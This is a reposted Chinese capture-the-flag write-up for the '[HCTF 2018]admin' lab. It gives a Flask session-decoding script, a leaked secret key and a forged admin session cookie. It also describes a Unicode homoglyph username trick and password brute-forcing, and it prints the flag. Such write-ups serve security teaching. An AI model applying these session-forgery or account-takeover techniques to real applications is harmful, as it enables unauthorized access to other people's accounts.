BUU-WEB-[HCTF 2018]admin

Posted TzZzEZ-web

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU-WEB-[HCTF 2018]admin相关的知识,希望对你有一定的参考价值。

在这里插入图片描述
主页标题有一个超链接,点击去看一看。
在这里插入图片描述
啥也没找到,于是返回主页查看源码。发现一个登录的链接和一个注册的链接。
在这里插入图片描述
尝试先注册一个测试账号。
在这里插入图片描述
注释里提示我们没用admin账户登录。
查看源码,发现提供了四个操作的链接。
在这里插入图片描述
想要获取admin的账户,只可能是从两个方面入手,一个是注册时修改admin密码,另一个就是通过修改密码,修改admin的密码。
change功能里的源码中,提供了一个github地址。
在这里插入图片描述

方法一:flask session欺骗

简而言之就是通过利用admin的session进行登录。
这里网站的架构使用的是python的flask框架,github给出的是flask框架的源码,首先利用脚本先对测试的账号的python进行个解密。

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

在这里插入图片描述
得到了一个session的架构。需要修改的地方就是name。下一步就是将name修改成admin,然后进行一个加密。

{'_fresh': True, '_id': b'f77e4a02dc4a2c2ab587dddb95cf3dea8d4e44cb260f04010f77eeb38fed6232f640cf8698be12d67f165bd7639bd4392194a7b6714218c14aa736ce4e956d37', 'csrf_token': b'637e8438006c7707746b73fee55718ce03f574af', 'image': b'tRzh', 'name': 'tzzzez', 'user_id': '10'}

flasksession加密工具
当然加密是需要密钥的(否则不是很拉跨)。由于使用的是flask的框架,所以密钥藏在框架的config文件中。
在这里插入图片描述

#密钥
ckj123
#需要加密的session框架
{'_fresh': True, '_id': b'f77e4a02dc4a2c2ab587dddb95cf3dea8d4e44cb260f04010f77eeb38fed6232f640cf8698be12d67f165bd7639bd4392194a7b6714218c14aa736ce4e956d37', 'csrf_token': b'637e8438006c7707746b73fee55718ce03f574af', 'image': b'tRzh', 'name': 'admin', 'user_id': '10'}

在这里插入图片描述
加密成功后,直接将session复制给当前的session就可以得到flag。(如果没有跳转就刷新一下)
在这里插入图片描述

flag{40d82cbb-9069-40f1-9740-7cffd1737cdd}

(方法一看似挺难的,但是看懂后就是挺简单的,目的就是为了构建admin的session,进行session伪造)

方法二:Unicode欺骗

简而言之,就是利用奇奇怪怪的语言编写admin(虚假的admin),然后通过编码替换成admin(真正的admin)。
看到其他大师傅们直接贴了个ᴬᴰᴹᴵᴺ。
Unicode编码字符
(孩子心服口服)
主要思路就是利用ᴬᴰᴹᴵᴺ注册后被编码成ADMIN,之后通过修改密码,ADMIN变成admin。(大写变小写,是因为框架里有个自动大小写转换,请看源码部分)

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

strlower函数就是把大写字母变成小写字母。
nodeprep.prepare函数的本意也是把A转换成a.但他遇见ᴬᴰᴹᴵᴺ时,会转换成ADMIN。这是这个函数的漏洞。
注册和登陆时使用ᴬᴰᴹᴵᴺ,登陆后会发现
在这里插入图片描述
然后修改一次密码,之后注销重新登录即可(此时用户名称已经变成admin)
在这里插入图片描述

方法三:爆破

之所以这题可以爆破,是因为出题人设置的是弱密码(密码是123)
找个字典,让burp跑一下就好。
在这里插入图片描述
在这里插入图片描述

以上是关于BUU-WEB-[HCTF 2018]admin的主要内容,如果未能解决你的问题,请参考以下文章

[HCTF 2018]Hide and seek

HCTF admin

BUU-WEB-[极客大挑战 2019]BabySQL

[HCTF 2018]WarmUp

HCTF_2018-Writeupweb题

BUUCTF-[HCTF 2018]WarmUp